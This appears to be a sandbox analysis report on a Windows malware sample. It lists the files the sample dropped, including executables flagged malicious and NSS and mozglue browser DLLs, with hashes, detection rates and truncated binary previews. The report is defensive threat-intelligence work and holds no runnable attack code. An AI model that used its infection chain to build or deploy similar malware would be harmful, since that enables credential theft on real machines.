SHA1:	6C6B26AC05DEB6BC7D76510C4FFB9BC804CFF2D0
SHA-256:	78454EFF49A088F92B022D55039175E91576A11DC96DCC82DA88622A89F2D233
SHA-512:	54935BEAA41F0D5EB20110B51F3D285D1591BA5DCDC44A09016168256357E968A579E9DD4FDAD76BE9F221C507127D884B33B84E4FDC57A387212EBBBD8B3C39
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e4e4bb7d-6dd2-4a42-bb40-b04eb31de28e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44631
Entropy (8bit):	6.096919794118954
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB1wu+hDO6vP6O81pzFHqNke+cGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEt6c/chu3VlXr4CRo1
MD5:	BF42EF768CF1EFA81FD7EC5B637BE0C7
SHA1:	F32BEB046EF725F704BD8EF93B008B04D2375BFA
SHA-256:	4FB40EA7D9DCA813D0644F1EFC0C631A10E76EEF245DDCBB70FECCC95F4EAD6F
SHA-512:	485EDB9A15AC17CAB58CD009B02769C81927E078B66EC2AEFABD62FD0EAB90B9DFD1D09C04A80BBF4DE02211C43A38112A78FF4E21CE3DFA992D6FA94B1DB625
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\py8tmzb[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	644608
Entropy (8bit):	7.108786174929969
Encrypted:	false
SSDEEP:	12288:yukBEsZQBLq+BH1Yu1BDzOelH7TkZm21dvDUVYYY+:yuTsuzKu1RaelH7TkZm21dvDUVYYY+
MD5:	FC44872D02DB04A880714843034469A0
SHA1:	4712F033B969566BF05D3A393502663A11471B6A
SHA-256:	A1FCF22E76997E8337FA63841BD8F056911FED16543FD7553AAD860EDBA3EA87
SHA-512:	4571C087DA652AEDB9254623410ED7040DFE35BCA989012A1057F9581B53A126C5940A8E09262168913FA7318C5D7799B4002B496A559E2BD7C32A00BF68E4F1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}eg..............0.............r@... ........@.. .......................@............@................................. @..O.......d.................... ....................................................... ............... ..H............text...x.... ...................... ..`.rsrc...d...........................@..@.reloc....... ......................@..B................T@......H.......`&..............................................................".(.....>.(.......}........(....}.....(........{....r...p.c.l(....(....}......0........... .....&...%.....(.......+..F...(.....`(.......0............(......,...(..........0..:..........+......f....&...%G.iY.R...&...%G.4X.R...X....i....-.F...(......(.....*.0...........s......{....(.....(......(......{.....(......{....(......~....(......,R..r...p(........~....(........,1........(....( ...t........o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2990592
Entropy (8bit):	6.57845694226229
Encrypted:	false
SSDEEP:	49152:l9PJuLnwLwJL6OBkiP4hpzl9h+q+GJNXu:l9PILnwLwJL6OBMRvdN
MD5:	9D38889192A887E1128EC41DD417FB6D
SHA1:	BF6B8A7C9EA4519EE2B4233375B9CF2CC9C7840B
SHA-256:	B23ADB76C30005DC9D5391FD1F1218B36B6B0CB85B63F5CB9AEEB0CB01D77963
SHA-512:	D4E8AEE2C1318E34537D0803F137282B5E9EC58B9A8113E38E8576F0808066F5A690149EA97F720D02642645E85EDEBA5C1DC482E6D730DA25CB99CAF604C8E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....&.....@.................................W...k.............................1.............................d.1..................................................... . ............................@....rsrc...............................@....idata ............................@...ascqmpzr..........................@...vkonyklc.....@1......z-.............@....taggant.0...P1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.36846427901046
Encrypted:	false
SSDEEP:	24:OBfNaoQRa0INePKllDQXBfNaoQHKGLKyBYpDQHKMLBfNaoQGCO6CR1UQGfCy:SfNaoQs0TEQxfNaoQEQFFfNaoQGCLC4n
MD5:	7116105C9B9B76FC9DB3B77007F36FCD
SHA1:	A45A3B1CA22F9A77E683ADD44B0A64790D761B68
SHA-256:	4F9BED5E15F36F9B0AAAF3EBB4E3B71F49025A2B05095182A1F88B3F1203A225
SHA-512:	406817FEADFDE27A6D505FFC0A65769AB48CCF3CE0E91C73184F539AB04B5F29786AC4A83ED080189246244C358F81A5E85FE5FBE1033294650565D1223F4492
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E812BE739C5A6150C9B9B9C6BB7AECBF",.. "id": "E812BE739C5A6150C9B9B9C6BB7AECBF",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E812BE739C5A6150C9B9B9C6BB7AECBF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/123E463ACB43DE669485A944B27DA10A",.. "id": "123E463ACB43DE669485A944B27DA10A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/123E463ACB43DE669485A944B27DA10A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4063232
Entropy (8bit):	7.9942535529464775
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3JY:Z/qBdHRSXYBmrohgnDfUxbZJEm
MD5:	8931E68A3BD3A9D25CE69DFFF2708066
SHA1:	44325D0C997C140C0E41302286583315F6E2DD2F
SHA-256:	8250D205F47347400AD5AC5AC70A77F1A2E09BA4D34AF1717E764C7415B2ABA6
SHA-512:	773A9D991C3ED4E7222F06DF522009070A9F250AD5A52A45808AE18F33CDC3EA314D0CE1AD0A4547FC72BF34E54DB047E662EF22FA9FAFAA4E8F5E23A93EF623
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	644608
Entropy (8bit):	7.108786174929969
Encrypted:	false
SSDEEP:	12288:yukBEsZQBLq+BH1Yu1BDzOelH7TkZm21dvDUVYYY+:yuTsuzKu1RaelH7TkZm21dvDUVYYY+
MD5:	FC44872D02DB04A880714843034469A0
SHA1:	4712F033B969566BF05D3A393502663A11471B6A
SHA-256:	A1FCF22E76997E8337FA63841BD8F056911FED16543FD7553AAD860EDBA3EA87
SHA-512:	4571C087DA652AEDB9254623410ED7040DFE35BCA989012A1057F9581B53A126C5940A8E09262168913FA7318C5D7799B4002B496A559E2BD7C32A00BF68E4F1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}eg..............0.............r@... ........@.. .......................@............@................................. @..O.......d.................... ....................................................... ............... ..H............text...x.... ...................... ..`.rsrc...d...........................@..@.reloc....... ......................@..B................T@......H.......`&..............................................................".(.....>.(.......}........(....}.....(........{....r...p.c.l(....(....}......0........... .....&...%.....(.......+..F...(.....`(.......0............(......,...(..........0..:..........+......f....&...%G.iY.R...&...%G.4X.R...X....i....-.F...(......(.....*.0...........s......{....(.....(......(......{.....(......{....(......~....(......,R..r...p(........~....(........,1........(....( ...t........o

C:\Users\user\AppData\Local\Temp\1018623001\f5de50ddb2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4063232
Entropy (8bit):	7.9942535529464775
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3JY:Z/qBdHRSXYBmrohgnDfUxbZJEm
MD5:	8931E68A3BD3A9D25CE69DFFF2708066
SHA1:	44325D0C997C140C0E41302286583315F6E2DD2F
SHA-256:	8250D205F47347400AD5AC5AC70A77F1A2E09BA4D34AF1717E764C7415B2ABA6
SHA-512:	773A9D991C3ED4E7222F06DF522009070A9F250AD5A52A45808AE18F33CDC3EA314D0CE1AD0A4547FC72BF34E54DB047E662EF22FA9FAFAA4E8F5E23A93EF623
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\EHJKKKFIIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2990592
Entropy (8bit):	6.57845694226229
Encrypted:	false
SSDEEP:	49152:l9PJuLnwLwJL6OBkiP4hpzl9h+q+GJNXu:l9PILnwLwJL6OBMRvdN
MD5:	9D38889192A887E1128EC41DD417FB6D
SHA1:	BF6B8A7C9EA4519EE2B4233375B9CF2CC9C7840B
SHA-256:	B23ADB76C30005DC9D5391FD1F1218B36B6B0CB85B63F5CB9AEEB0CB01D77963
SHA-512:	D4E8AEE2C1318E34537D0803F137282B5E9EC58B9A8113E38E8576F0808066F5A690149EA97F720D02642645E85EDEBA5C1DC482E6D730DA25CB99CAF604C8E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....&.....@.................................W...k.............................1.............................d.1..................................................... . ............................@....rsrc...............................@....idata ............................@...ascqmpzr..........................@...vkonyklc.....@1......z-.............@....taggant.0...P1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:06:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.977206169249614
Encrypted:	false
SSDEEP:	48:8BedITsU4HCidAKZdA19ehwiZUklqehs5y+3:8fvJjy
MD5:	714775053FFF3990FB14282371F0BBAF
SHA1:	8DDB0C01A5859616D2433AF7AEAC413713BF49A7
SHA-256:	6BF51450C57AB17834AF1D997B73B6646E97AD79991AFFA58E740C6AFD2C1361
SHA-512:	C5C12AC34F1C3B2322B333D88A6BE43D8CE814FF5199DEAD427CFA6024FC690FD3E070F280826E151795B50B4C55132671956A2EBD2C0DA98CB20E4B0E9470EC
Malicious:	false
Preview:	L..................F.@.. ...$+.,....5....R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.x...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:06:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993282895174183
Encrypted:	false
SSDEEP:	48:8YdITsU4HCidAKZdA1weh/iZUkAQkqehh5y+2:8vvb9Qey
MD5:	0B0FD241EE112816DDFCD359F395E766
SHA1:	95FA8A54BC393A16374AF31AE828CA93819C534F
SHA-256:	5EA7241A44D240ED48A36CC1FBD8E347AFEAA6CDB651A083F4F7112A918F25BC
SHA-512:	B4DD5F15E5C5053AB1257B319875006B9A9F924B74209A4EC1AB2C97AF7A10EC809857446183D32CE7D7B79CACD10919A2FA3D961AAB8D22903D16B37F67FD13
Malicious:	false
